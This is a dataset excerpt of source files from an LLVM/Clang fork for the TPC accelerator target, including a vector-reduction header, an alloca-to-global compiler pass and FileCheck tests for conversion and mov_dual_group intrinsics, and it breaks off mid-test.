V_SHUFFLE(T)(x, lut1, 0, t, 1, 0);\n\n // (dg0 + dg1 + dg2 + dg3) + (g0 + g1) + (0 + 1)\n x = V_OP(OP, T)(x, t, 0, x, 1, 0);\n\n // Shuffle elements (every 4 elements)\n t = V_SHUFFLE(T)(x, lut2, 0, t, 1, 0);\n\n // (dg0 + dg1 + dg2 + dg3) + (g0 + g1) + (0 + ... + 3)\n x = V_OP(OP, T)(x, t, 0, x, 1, 0);\n\n // Shuffle elements (every 8 elements)\n t = V_SHUFFLE(T)(x, lut3, 0, t, 1, 0);\n\n // (dg0 + dg1 + dg2 + dg3) + (g0 + g1) + (0 + ... + 7)\n x = V_OP(OP, T)(x, t, 0, x, 1, 0);\n\n #if REDUCE_DT == REDUCE_BF16 || REDUCE_DT == REDUCE_F16 || REDUCE_DT == REDUCE_I16 || \\\n REDUCE_DT == REDUCE_U16 || REDUCE_DT == REDUCE_I8 || REDUCE_DT == REDUCE_U8\n // Shuffle elements (every 16 elements)\n t = V_SHUFFLE(T)(x, lut4, 0, t, 1, 0);\n\n // (dg0 + dg1 + dg2 + dg3) + (g0 + g1) + (0 + ... + 15)\n x = V_OP(OP, T)(x, t, 0, x, 1, 0);\n #endif\n\n #if REDUCE_DT == REDUCE_I8 || REDUCE_DT == REDUCE_U8\n // Shuffle elements (every 32 elements)\n t = V_SHUFFLE(T)(x, lut5, 0, t, 1, 0);\n\n // (dg0 + dg1 + dg2 + dg3) + (g0 + g1) + (0 + ... + 31)\n x = V_OP(OP, T)(x, t, 0, x, 1, 0);\n #endif\n\n // Broadcast dual groups\n #if defined(__goya__)\n x = V_MOV_DUAL_GROUP(T)(x, 0xFFFFFFFF, 0, 1, SW_MDG, x, 1, 0);\n x = V_MOV_DUAL_GROUP(T)(x, 0xFFFFFFFF, 0, 2, SW_MDG, x, 1, 0);\n x = V_MOV_DUAL_GROUP(T)(x, 0xFFFFFFFF, 0, 3, SW_MDG, x, 1, 0);\n #endif\n\n return x;\n}\n#endif\n\n#if REDUCE_OP == REDUCE_ARGMIN || REDUCE_OP == REDUCE_ARGMAX\n#define V_SEL_OP(OP, T, I) TOKENPASTE5(v_, I, OP, T, _b)\n\nPAIR_VEC_TYPE V_REDUCE_CORE(NAME, T)(VEC_TYPE x)\n{\n PAIR_VEC_TYPE y = {0};\n PAIR_VEC_TYPE t = {0};\n y.v1 = INIT_INDEX;\n y.v2 = x;\n SHUFFLE_MAP_LOOKUP(B)\n\n // Shuffle elements (every 2 elements)\n t.v1 = V_SHUFFLE(I)(y.v1, lut1, 0, t.v1, 1, 0);\n t.v2 = V_SHUFFLE(T)(y.v2, lut1, 0, t.v2, 1, 0);\n\n // (0 + 1)\n y = V_SEL_OP(OP, T, I)(t.v2, y.v2, t.v1, y.v1, 0, y, 1, 0);\n\n // Shuffle elements (every 4 elements)\n t.v1 = V_SHUFFLE(I)(y.v1, lut2, 0, t.v1, 1, 0);\n t.v2 = V_SHUFFLE(T)(y.v2, lut2, 0, t.v2, 1, 0);\n\n // (0 + ... + 3)\n y = V_SEL_OP(OP, T, I)(t.v2, y.v2, t.v1, y.v1, 0, y, 1, 0);\n\n // Shuffle elements (every 8 elements)\n t.v1 = V_SHUFFLE(I)(y.v1, lut3, 0, t.v1, 1, 0);\n t.v2 = V_SHUFFLE(T)(y.v2, lut3, 0, t.v2, 1, 0);\n\n // (0 + ... + 7)\n y = V_SEL_OP(OP, T, I)(t.v2, y.v2, t.v1, y.v1, 0, y, 1, 0);\n\n #if REDUCE_DT == REDUCE_BF16 || REDUCE_DT == REDUCE_F16 || REDUCE_DT == REDUCE_I16 || \\\n REDUCE_DT == REDUCE_U16 || REDUCE_DT == REDUCE_I8 || REDUCE_DT == REDUCE_U8\n // Shuffle elements (every 16 elements)\n t.v1 = V_SHUFFLE(I)(y.v1, lut4, 0, t.v1, 1, 0);\n t.v2 = V_SHUFFLE(T)(y.v2, lut4, 0, t.v2, 1, 0);\n\n // (0 + ... + 15)\n y = V_SEL_OP(OP, T, I)(t.v2, y.v2, t.v1, y.v1, 0, y, 1, 0);\n #endif\n\n #if REDUCE_DT == REDUCE_I8 || REDUCE_DT == REDUCE_U8\n // Shuffle elements (every 32 elements)\n t.v1 = V_SHUFFLE(I)(y.v1, lut5, 0, t.v1, 1, 0);\n t.v2 = V_SHUFFLE(T)(y.v2, lut5, 0, t.v2, 1, 0);\n\n // (0 + ... + 31)\n y = V_SEL_OP(OP, T, I)(t.v2, y.v2, t.v1, y.v1, 0, y, 1, 0);\n #endif\n\n // Switch groups g0 <-> g1\n t.v1 = V_MOV_GROUP(I)(y.v1, 0xFFFFFFFF, SW_MG, t.v1, 1, 0);\n t.v2 = V_MOV_GROUP(T)(y.v2, 0xFFFFFFFF, SW_MG, t.v2, 1, 0);\n\n // (g0 + g1)\n y = V_SEL_OP(OP, T, I)(t.v2, y.v2, t.v1, y.v1, 0, y, 1, 0);\n\n // Switch dual groups dg0 <-> dg1, dg2 <-> dg3\n #if defined(__goya__)\n t.v1 = V_MOV_DUAL_GROUP(I)(y.v1, 0xFFFFFFFF, 1, 0, SW_MDG, t.v1, 1, 0);\n t.v1 = V_MOV_DUAL_GROUP(I)(y.v1, 0xFFFFFFFF, 3, 2, SW_MDG, t.v1, 1, 0);\n t.v2 = V_MOV_DUAL_GROUP(T)(y.v2, 0xFFFFFFFF, 1, 0, SW_MDG, t.v2, 1, 0);\n t.v2 = V_MOV_DUAL_GROUP(T)(y.v2, 0xFFFFFFFF, 3, 2, SW_MDG, t.v2, 1, 0);\n #else\n t.v1 = V_MOV_DUAL_GROUP_ALL(I)(y.v1, 0xFFFFFFFF, 1, 0, 3, 2, SW_MDG_ALL, t.v1, 1, 0);\n t.v2 = V_MOV_DUAL_GROUP_ALL(T)(y.v2, 0xFFFFFFFF, 1, 0, 3, 2, SW_MDG_ALL, t.v2, 1, 0);\n #endif\n\n // (dg0 + dg1), (dg2 + dg3)\n y = V_SEL_OP(OP, T, I)(t.v2, y.v2, t.v1, y.v1, 0, y, 1, 0);\n\n // Switch dual groups dg0 <-> dg2, dg1 <-> dg3\n #if defined(__goya__)\n t.v1 = V_MOV_DUAL_GROUP(I)(y.v1, 0xFFFFFFFF, 2, 0, SW_MDG, t.v1, 1, 0);\n t.v2 = V_MOV_DUAL_GROUP(T)(y.v2, 0xFFFFFFFF, 2, 0, SW_MDG, t.v2, 1, 0);\n #else\n t.v1 = V_MOV_DUAL_GROUP_ALL(I)(y.v1, 0xFFFFFFFF, 2, 3, 0, 1, SW_MDG_ALL, t.v1, 1, 0);\n t.v2 = V_MOV_DUAL_GROUP_ALL(T)(y.v2, 0xFFFFFFFF, 2, 3, 0, 1, SW_MDG_ALL, t.v2, 1, 0);\n #endif\n\n // (dg0 + dg1 + dg2 + dg3)\n y = V_SEL_OP(OP, T, I)(t.v2, y.v2, t.v1, y.v1, 0, y, 1, 0);\n\n // Broadcast group elements\n const uchar256 lutb = 0x80;\n y.v1 = V_SHUFFLE(I)(y.v1, lutb, 0, y.v1, 1, 0);\n y.v2 = V_SHUFFLE(T)(y.v2, lutb, 0, y.v2, 1, 0);\n\n // Broadcast dual groups\n #if defined(__goya__)\n y.v1 = V_MOV_DUAL_GROUP(I)(y.v1, 0xFFFFFFFF, 0, 1, SW_MDG, y.v1, 1, 0);\n y.v2 = V_MOV_DUAL_GROUP(T)(y.v2, 0xFFFFFFFF, 0, 1, SW_MDG, y.v2, 1, 0);\n y.v1 = V_MOV_DUAL_GROUP(I)(y.v1, 0xFFFFFFFF, 0, 2, SW_MDG, y.v1, 1, 0);\n y.v2 = V_MOV_DUAL_GROUP(T)(y.v2, 0xFFFFFFFF, 0, 2, SW_MDG, y.v2, 1, 0);\n y.v1 = V_MOV_DUAL_GROUP(I)(y.v1, 0xFFFFFFFF, 0, 3, SW_MDG, y.v1, 1, 0);\n y.v2 = V_MOV_DUAL_GROUP(T)(y.v2, 0xFFFFFFFF, 0, 3, SW_MDG, y.v2, 1, 0);\n #else\n y.v1 = V_MOV_DUAL_GROUP_ALL(I)(y.v1, 0xFFFFFFFF, 0, 0, 0, 0, SW_MDG_ALL, y.v1, 1, 0);\n y.v2 = V_MOV_DUAL_GROUP_ALL(T)(y.v2, 0xFFFFFFFF, 0, 0, 0, 0, SW_MDG_ALL, y.v2, 1, 0);\n #endif\n\n return y;\n}\n#endif\n\n#undef T\n#undef I\n#undef B\n#undef OP\n#undef NAME\n#undef INIT_INDEX\n#undef VEC_TYPE\n#undef PAIR_VEC_TYPE\n\n#endif //__TPC_DROP_VERSION\n" }, { "alpha_fraction": 0.5245347023010254, "alphanum_fraction": 0.6514382362365723, "avg_line_length": 48.25, "blob_id": "c24bdc287a332a09b2d2beea77751c772dc6a520", "content_id": "382db37a0533c3242566f3c30a4ca367df991145", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 591, "license_type": "permissive", "max_line_length": 146, "num_lines": 12, "path": "/clang/test/RC99/Intrinsics/convert_to/convert_bfloat128_to_uint128.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -emit-llvm -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck --check-prefixes=CHECK-IR %s\n\nvoid main(int src, int dest) {\n bfloat128 *sptr = (bfloat128 *)src;\n uint128 *dptr = (uint128 *)dest;\n bfloat128 src_val = *sptr;\n *dptr++ = convert_bfloat128_to_uint128(src_val, SW_RZ);\n *dptr = convert_bfloat128_to_uint128(src_val, SW_RD);\n}\n\n// CHECK-IR: fptoui <128 x bfloat> {{.*}} to <128 x i32>\n// CHECK-IR: call <128 x i32> @llvm.tpc.convert.v128i32.v128bf16.i1(<128 x bfloat> {{.*}}, i8 1, i32 197376, <128 x i32> undef, i1 true, i1 false)\n" }, { "alpha_fraction": 0.4862891435623169, "alphanum_fraction": 0.48969656229019165, "avg_line_length": 39.27450942993164, "blob_id": "cc4facb1e8a51c7fbec3c91f7bfb4c9c22802841", "content_id": "6bfae6a093a627224b0caf490fcceeaef0e173e7", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 6163, "license_type": "permissive", "max_line_length": 107, "num_lines": 153, "path": "/llvm/lib/Target/TPC/Globalizer.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- Globalizer.cpp --- Transform allocas to globals ------- ------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// This pass transforms allocas to global variables.\n//\n//===----------------------------------------------------------------------===//\n#include <iostream>\n#include \"TPCTargetMachine.h\"\n#include \"TPCTools.h\"\n#include \"llvm/ADT/SmallSet.h\"\n#include \"llvm/Analysis/TargetLibraryInfo.h\"\n#include \"llvm/IR/Dominators.h\"\n#include \"llvm/IR/Instructions.h\"\n#include \"llvm/IR/IntrinsicInst.h\"\n#include \"llvm/IR/IRBuilder.h\"\n#include \"llvm/Pass.h\"\n#include \"llvm/IR/DIBuilder.h\"\n#include \"llvm/IR/DebugInfoMetadata.h\"\n#include \"llvm/ADT/StringRef.h\"\nusing namespace llvm;\n\n#define DEBUG_TYPE \"globalizer\"\n\n\nnamespace {\nstruct Globalizer : public ModulePass {\n static char ID; // Pass identification, replacement for typeid\n SmallVector<Instruction *, 32> WorkList;\n\n Globalizer() : ModulePass(ID) {}\n\n /* for low debuging\n static bool check_if_debug(Module &M)\n {\n NamedMDNode *CUs = M.getNamedMetadata(\"llvm.dbg.cu\");\n return CUs != nullptr;\n }\n*/\n\n bool runOnModule(Module &M) override {\n WorkList.clear();\n\n if (skipModule(M))\n return false;\n\n bool Changed = false;\n ValueReplacer Replacer;\n DIBuilder DIB(M, /*AllowUnresolved*/ false);\n // Allocas live in functions.\n for (auto &F : M.functions()) {\n for (auto &BB : F) {\n for (auto &I : BB) {\n if (AllocaInst *AI = dyn_cast<AllocaInst>(&I)) {\n const PointerType *T = AI->getType();\n unsigned AS = llvm::isTpcVectorType(T->getElementType()) ? 2 : 1;\n Constant *Init = UndefValue::get(T->getElementType());\n StringRef ainame = AI->getName();\n StringRef cutname = ainame;\n std::string ss = ainame.str();\n size_t posa = ss.find(\".\");\n if (posa != std::string::npos) {\n ss = ss.substr(0, posa);\n cutname = StringRef(ss);\n }\n // This value will replace alloca uses.\n auto *GV = new GlobalVariable(M, T->getElementType(), false,\n GlobalValue::PrivateLinkage, Init, ainame , nullptr,\n GlobalValue::NotThreadLocal, AS);\n // DEBUG:\n //if (check_if_debug(M)) {\n // for (auto &mBB : F) {\n // bool found = false;\n // for (auto &metai : mBB) {\n // // Metaintring decsribing variable\n // DbgInfoIntrinsic* ci = dyn_cast<DbgInfoIntrinsic>(&metai);\n // if (ci) {\n // // Variable described by metaintrin\n // DILocalVariable *Variable = ci->getVariable(); //arg 1\n // DIExpression *Expression = DIB.createExpression(); //must be empty, new will be added\n // StringRef VarName = Variable->getName();\n // StringRef argname = StringRef();\n // Value *arg0 = ci->getArgOperand(0);\n // if (!arg0->hasName() && isa<MetadataAsValue>(arg0)) {\n // const MetadataAsValue *V = dyn_cast<MetadataAsValue>(arg0);\n // if (V) {\n // auto MD = V->getMetadata();\n // auto v = cast<ValueAsMetadata>(MD);\n // auto vv = v->getValue();\n // if (vv->hasName()) {\n // argname = vv->getName();\n // }\n // }\n // }\n // // name of var extracted form metaintrinsic\n // if (ainame == argname || VarName == cutname) {\n // if (isa<MDNode>(Variable)) {\n // //extract data from Local Variable\n // StringRef vname = Variable->getName();\n // //auto varg = Variable->getArg();\n // auto vscope = Variable->getRawScope();\n // auto vfile = Variable->getRawFile();\n // auto vline = Variable->getLine();\n // auto vtype = Variable->getRawType();\n // //auto vflags = Variable->getFlags();\n // auto valign = Variable->getAlignInBits();\n // // create DIGlobalVariableExpression\n // DIGlobalVariableExpression *GVE = nullptr;\n // char bflinn[40];\n // sprintf(bflinn, \"%p\", (void*)Variable);\n // StringRef LinkName = StringRef(bflinn);\n // GVE = DIB.createGlobalVariableExpression(\n // cast<DIScope>(vscope), vname, LinkName,\n // cast<DIFile>(vfile), vline, cast<DIType>(vtype),\n // true,\n // Expression,\n // nullptr, valign);\n // // connect new global var GV and debug info\n // GV->addDebugInfo(GVE);\n // GV->addAttribute(Attribute::Builtin); // to mark for resolver\n // found = true;\n // break;// metacall found and used\n // }\n // }\n // }\n // }\n // if (found) break;\n // }\n //}\n // Replace references to alloca with reference to global variable.\n // Note, in this case we change address space, as alloca memory\n // reside in space 0, but globals are in space 1 or 2.\n Replacer.replace(AI, GV);\n Changed = true;\n }\n }\n }\n }\n return Changed;\n }\n};\n}\n\nchar Globalizer::ID = 0;\nINITIALIZE_PASS(Globalizer, \"globalizer\", \"Alloca Globalizer\", false, false)\n\nModulePass *llvm::createGlobalizer() {\n return new Globalizer();\n}\n\n" }, { "alpha_fraction": 0.47237640619277954, "alphanum_fraction": 0.5846779346466064, "avg_line_length": 49.30519485473633, "blob_id": "e67b172821cb68be7c1d555e2b8d9f5b4ca63d4f", "content_id": "eeabeedd6cef5f3edf3b668422c8d0ff62f272ad", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 15494, "license_type": "permissive", "max_line_length": 153, "num_lines": 308, "path": "/clang/test/RC99/Intrinsics/mov_dg_all-02.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck %s\n\n\n\nvoid main(int dest, int src, int vpredp, _Bool pred) {\n float64 __local *dest_ptr = (float64 __local *)dest;\n float64 __local *src_ptr = (float64 __local *)src;\n bool256 __local *vpred_ptr = (bool256 __local *)vpredp;\n\n float64 x = *src_ptr++;\n bool256 vpred = *vpred_ptr++;\n float64 income = *dest_ptr;\n\n// CHECK-DAG: ld_l_v [[DEST:%V[0-9]+]], %S0\n// CHECK-DAG: ld_l_v [[SRC:%V[0-9]+]], %S1\n// CHECK-DAG: ld_l_v [[VPRED:%VP[0-9]+]], %S2\n// CHECK-DAG: mov{{.*}}\t[[PRED:%SP[0-9]+]], %S3\n\n {\n float64 res = income;\n \n res = v_f32_mov_dual_group_all_b(x, 1, 0, 1, 2, 3, SW_WR_LOWER_GROUP0, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: mov_dg all sdg0=0 sdg1=1 sdg2=2 sdg3=3 weg0=1 weg1=0 weg2=0 weg3=0 [[DEST]], [[SRC]], 0x1, [[PRED]]\n\n res = v_f32_mov_dual_group_all_b(x, 7, 1, 2, 3, 0, SW_WR_LOWER_GROUP0 | SW_WR_UPPER_GROUP0, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: mov_dg all sdg0=1 sdg1=2 sdg2=3 sdg3=0 weg0=3 weg1=0 weg2=0 weg3=0 [[DEST]], [[SRC]], 0x7, [[PRED]]\n\n res = v_f32_mov_dual_group_all_b(x, 15, 2, 3, 0, 1, SW_WR_UPPER_GROUP0, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: mov_dg all sdg0=2 sdg1=3 sdg2=0 sdg3=1 weg0=2 weg1=0 weg2=0 weg3=0 [[DEST]], [[SRC]], 0xf, [[PRED]]\n\n res = v_f32_mov_dual_group_all_b(x, 15, 3, 0, 1, 2, SW_WR_UPPER_GROUP0 | SW_WR_UPPER_GROUP1, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: mov_dg all sdg0=3 sdg1=0 sdg2=1 sdg3=2 weg0=2 weg1=2 weg2=0 weg3=0 [[DEST]], [[SRC]], 0xf, [[PRED]]\n\n res = v_f32_mov_dual_group_all_b(x, 15, 3, 3, 3, 3, SW_WR_UPPER_GROUP0 | SW_WR_UPPER_GROUP1 | SW_WR_UPPER_GROUP2, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: mov_dg all sdg0=3 sdg1=3 sdg2=3 sdg3=3 weg0=2 weg1=2 weg2=2 weg3=0 [[DEST]], [[SRC]], 0xf, [[PRED]]\n\n res = v_f32_mov_dual_group_all_b(x, 15, 2, 2, 2, 2, SW_WR_UPPER_GROUP0 | SW_WR_UPPER_GROUP1 | SW_WR_UPPER_GROUP2 | SW_WR_UPPER_GROUP3, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: mov_dg all sdg0=2 sdg1=2 sdg2=2 sdg3=2 weg0=2 weg1=2 weg2=2 weg3=2 [[DEST]], [[SRC]], 0xf, [[PRED]]\n\n res = v_f32_mov_dual_group_all_b(x, 15, 1, 1, 1, 1, SW_WR_LOWER_GROUP0 | SW_WR_UPPER_GROUP1 | SW_WR_UPPER_GROUP2 | SW_WR_UPPER_GROUP3, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: mov_dg all sdg0=1 sdg1=1 sdg2=1 sdg3=1 weg0=1 weg1=2 weg2=2 weg3=2 [[DEST]], [[SRC]], 0xf, [[PRED]]\n\n res = v_f32_mov_dual_group_all_b(x, 15, 0, 0, 0, 0, SW_WR_LOWER_GROUP0 | SW_WR_LOWER_GROUP1 | SW_WR_UPPER_GROUP2 | SW_WR_UPPER_GROUP3, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: mov_dg all sdg0=0 sdg1=0 sdg2=0 sdg3=0 weg0=1 weg1=1 weg2=2 weg3=2 [[DEST]], [[SRC]], 0xf, [[PRED]]\n\n res = v_f32_mov_dual_group_all_b(x, 15, 0, 0, 1, 1, SW_WR_LOWER_GROUP0 | SW_WR_LOWER_GROUP1 | SW_WR_LOWER_GROUP2 | SW_WR_UPPER_GROUP3, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: mov_dg all sdg0=0 sdg1=0 sdg2=1 sdg3=1 weg0=1 weg1=1 weg2=1 weg3=2 [[DEST]], [[SRC]], 0xf, [[PRED]]\n\n res = v_f32_mov_dual_group_all_b(x, 15, 1, 1, 0, 0, SW_WR_LOWER_GROUP0 | SW_WR_LOWER_GROUP1 | SW_WR_LOWER_GROUP2 | SW_WR_LOWER_GROUP3, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: mov_dg all sdg0=1 sdg1=1 sdg2=0 sdg3=0 weg0=1 weg1=1 weg2=1 weg3=1 [[DEST]], [[SRC]], 0xf, [[PRED]]\n\n\n res = v_f32_mov_dual_group_all_vb(x, 1, 0, 1, 2, 3, SW_WR_LOWER_GROUP0 | SW_WR_UPPER_GROUP0, res, to_bool64(vpred), 0);\n *dest_ptr++ = res;\n// CHECK: mov_dg all sdg0=0 sdg1=1 sdg2=2 sdg3=3 weg0=3 weg1=0 weg2=0 weg3=0 [[DEST]], [[SRC]], 0x1, [[VPRED]]\n\n res = v_f32_mov_dual_group_all_vb(x, 7, 1, 2, 3, 0, SW_WR_LOWER_GROUP1 | SW_WR_UPPER_GROUP1, res, to_bool64(vpred), 0);\n *dest_ptr++ = res;\n// CHECK: mov_dg all sdg0=1 sdg1=2 sdg2=3 sdg3=0 weg0=0 weg1=3 weg2=0 weg3=0 [[DEST]], [[SRC]], 0x7, [[VPRED]]\n\n res = v_f32_mov_dual_group_all_vb(x, 15, 3, 0, 1, 2, SW_WR_UPPER_GROUP0 | SW_WR_UPPER_GROUP1, res, to_bool64(vpred), 0);\n *dest_ptr++ = res;\n// CHECK: mov_dg all sdg0=3 sdg1=0 sdg2=1 sdg3=2 weg0=2 weg1=2 weg2=0 weg3=0 [[DEST]], [[SRC]], 0xf, [[VPRED]]\n\n income = res;\n }\n\n {\n bfloat128 res = as_bfloat128(income);\n bfloat128 xx = as_bfloat128(x);\n bfloat128 __local *d_ptr = (bfloat128 __local *)dest_ptr;\n \n res = v_bf16_mov_dual_group_all_b(xx, 1, 0, 1, 2, 3, SW_WR_LOWER_GROUP0, res, pred, 0);\n *d_ptr++ = res;\n// G2P: mov_dg all sdg0=0 sdg1=1 sdg2=2 sdg3=3 weg0=1 weg1=0 weg2=0 weg3=0 [[DEST]], [[SRC]], 0x1, [[PRED]]\n\n res = v_bf16_mov_dual_group_all_b(xx, 7, 1, 2, 3, 0, SW_WR_LOWER_GROUP0 | SW_WR_UPPER_GROUP0, res, pred, 0);\n *d_ptr++ = res;\n \n// G2P: mov_dg all sdg0=1 sdg1=2 sdg2=3 sdg3=0 weg0=3 weg1=0 weg2=0 weg3=0 [[DEST]], [[SRC]], 0x7, [[PRED]]\n res = v_bf16_mov_dual_group_all_b(xx, 15, 2, 3, 0, 1, SW_WR_UPPER_GROUP0, res, pred, 0);\n *d_ptr++ = res;\n// G2P: mov_dg all sdg0=2 sdg1=3 sdg2=0 sdg3=1 weg0=2 weg1=0 weg2=0 weg3=0 [[DEST]], [[SRC]], 0xf, [[PRED]]\n\n\n res = v_bf16_mov_dual_group_all_vb(xx, 1, 0, 1, 2, 3, SW_WR_LOWER_GROUP0 | SW_WR_UPPER_GROUP0, res, to_bool128(vpred), 0);\n *d_ptr++ = res;\n// G2P: mov_dg all sdg0=0 sdg1=1 sdg2=2 sdg3=3 weg0=3 weg1=0 weg2=0 weg3=0 [[DEST]], [[SRC]], 0x1, [[VPRED]]\n\n res = v_bf16_mov_dual_group_all_vb(xx, 7, 1, 2, 3, 0, SW_WR_LOWER_GROUP1 | SW_WR_UPPER_GROUP1, res, to_bool128(vpred), 0);\n *d_ptr++ = res;\n// G2P: mov_dg all sdg0=1 sdg1=2 sdg2=3 sdg3=0 weg0=0 weg1=3 weg2=0 weg3=0 [[DEST]], [[SRC]], 0x7, [[VPRED]]\n\n res = v_bf16_mov_dual_group_all_vb(xx, 15, 3, 0, 1, 2, SW_WR_UPPER_GROUP0 | SW_WR_UPPER_GROUP1, res, to_bool128(vpred), 0);\n *d_ptr++ = res;\n// G2P: mov_dg all sdg0=3 sdg1=0 sdg2=1 sdg3=2 weg0=2 weg1=2 weg2=0 weg3=0 [[DEST]], [[SRC]], 0xf, [[VPRED]]\n\n income = as_float64(res);\n }\n\n {\n int64 res = as_int64(income);\n int64 xx = as_int64(x);\n int64 __local *d_ptr = (int64 __local *)dest_ptr;\n \n res = v_i32_mov_dual_group_all_b(xx, 1, 0, 1, 2, 3, SW_WR_LOWER_GROUP0, res, pred, 0);\n *d_ptr++ = res;\n// CHECK: mov_dg all sdg0=0 sdg1=1 sdg2=2 sdg3=3 weg0=1 weg1=0 weg2=0 weg3=0 [[DEST]], [[SRC]], 0x1, [[PRED]]\n\n res = v_i32_mov_dual_group_all_b(xx, 7, 1, 2, 3, 0, SW_WR_LOWER_GROUP0 | SW_WR_UPPER_GROUP0, res, pred, 0);\n *d_ptr++ = res;\n \n// CHECK: mov_dg all sdg0=1 sdg1=2 sdg2=3 sdg3=0 weg0=3 weg1=0 weg2=0 weg3=0 [[DEST]], [[SRC]], 0x7, [[PRED]]\n res = v_i32_mov_dual_group_all_b(xx, 15, 2, 3, 0, 1, SW_WR_UPPER_GROUP0, res, pred, 0);\n *d_ptr++ = res;\n// CHECK: mov_dg all sdg0=2 sdg1=3 sdg2=0 sdg3=1 weg0=2 weg1=0 weg2=0 weg3=0 [[DEST]], [[SRC]], 0xf, [[PRED]]\n\n\n res = v_i32_mov_dual_group_all_vb(xx, 1, 0, 1, 2, 3, SW_WR_LOWER_GROUP0 | SW_WR_UPPER_GROUP0, res, to_bool64(vpred), 0);\n *d_ptr++ = res;\n// CHECK: mov_dg all sdg0=0 sdg1=1 sdg2=2 sdg3=3 weg0=3 weg1=0 weg2=0 weg3=0 [[DEST]], [[SRC]], 0x1, [[VPRED]]\n\n res = v_i32_mov_dual_group_all_vb(xx, 7, 1, 2, 3, 0, SW_WR_LOWER_GROUP1 | SW_WR_UPPER_GROUP1, res, to_bool64(vpred), 0);\n *d_ptr++ = res;\n// CHECK: mov_dg all sdg0=1 sdg1=2 sdg2=3 sdg3=0 weg0=0 weg1=3 weg2=0 weg3=0 [[DEST]], [[SRC]], 0x7, [[VPRED]]\n\n res = v_i32_mov_dual_group_all_vb(xx, 15, 3, 0, 1, 2, SW_WR_UPPER_GROUP0 | SW_WR_UPPER_GROUP1, res, to_bool64(vpred), 0);\n *d_ptr++ = res;\n// CHECK: mov_dg all sdg0=3 sdg1=0 sdg2=1 sdg3=2 weg0=2 weg1=2 weg2=0 weg3=0 [[DEST]], [[SRC]], 0xf, [[VPRED]]\n\n income = as_float64(res);\n }\n\n {\n uint64 res = as_uint64(income);\n uint64 xx = as_uint64(x);\n uint64 __local *d_ptr = (uint64 __local *)dest_ptr;\n \n res = v_u32_mov_dual_group_all_b(xx, 1, 0, 1, 2, 3, SW_WR_LOWER_GROUP0, res, pred, 0);\n *d_ptr++ = res;\n// CHECK: mov_dg all sdg0=0 sdg1=1 sdg2=2 sdg3=3 weg0=1 weg1=0 weg2=0 weg3=0 [[DEST]], [[SRC]], 0x1, [[PRED]]\n\n res = v_u32_mov_dual_group_all_b(xx, 7, 1, 2, 3, 0, SW_WR_LOWER_GROUP0 | SW_WR_UPPER_GROUP0, res, pred, 0);\n *d_ptr++ = res;\n \n// CHECK: mov_dg all sdg0=1 sdg1=2 sdg2=3 sdg3=0 weg0=3 weg1=0 weg2=0 weg3=0 [[DEST]], [[SRC]], 0x7, [[PRED]]\n res = v_u32_mov_dual_group_all_b(xx, 15, 2, 3, 0, 1, SW_WR_UPPER_GROUP0, res, pred, 0);\n *d_ptr++ = res;\n// CHECK: mov_dg all sdg0=2 sdg1=3 sdg2=0 sdg3=1 weg0=2 weg1=0 weg2=0 weg3=0 [[DEST]], [[SRC]], 0xf, [[PRED]]\n\n\n res = v_u32_mov_dual_group_all_vb(xx, 1, 0, 1, 2, 3, SW_WR_LOWER_GROUP0 | SW_WR_UPPER_GROUP0, res, to_bool64(vpred), 0);\n *d_ptr++ = res;\n// CHECK: mov_dg all sdg0=0 sdg1=1 sdg2=2 sdg3=3 weg0=3 weg1=0 weg2=0 weg3=0 [[DEST]], [[SRC]], 0x1, [[VPRED]]\n\n res = v_u32_mov_dual_group_all_vb(xx, 7, 1, 2, 3, 0, SW_WR_LOWER_GROUP1 | SW_WR_UPPER_GROUP1, res, to_bool64(vpred), 0);\n *d_ptr++ = res;\n// CHECK: mov_dg all sdg0=1 sdg1=2 sdg2=3 sdg3=0 weg0=0 weg1=3 weg2=0 weg3=0 [[DEST]], [[SRC]], 0x7, [[VPRED]]\n\n res = v_u32_mov_dual_group_all_vb(xx, 15, 3, 0, 1, 2, SW_WR_UPPER_GROUP0 | SW_WR_UPPER_GROUP1, res, to_bool64(vpred), 0);\n *d_ptr++ = res;\n// CHECK: mov_dg all sdg0=3 sdg1=0 sdg2=1 sdg3=2 weg0=2 weg1=2 weg2=0 weg3=0 [[DEST]], [[SRC]], 0xf, [[VPRED]]\n\n income = as_float64(res);\n }\n\n {\n short128 res = as_short128(income);\n short128 xx = as_short128(x);\n short128 __local *d_ptr = (short128 __local *)dest_ptr;\n \n res = v_i16_mov_dual_group_all_b(xx, 1, 0, 1, 2, 3, SW_WR_LOWER_GROUP0, res, pred, 0);\n *d_ptr++ = res;\n// CHECK: mov_dg all sdg0=0 sdg1=1 sdg2=2 sdg3=3 weg0=1 weg1=0 weg2=0 weg3=0 [[DEST]], [[SRC]], 0x1, [[PRED]]\n\n res = v_i16_mov_dual_group_all_b(xx, 7, 1, 2, 3, 0, SW_WR_LOWER_GROUP0 | SW_WR_UPPER_GROUP0, res, pred, 0);\n *d_ptr++ = res;\n \n// CHECK: mov_dg all sdg0=1 sdg1=2 sdg2=3 sdg3=0 weg0=3 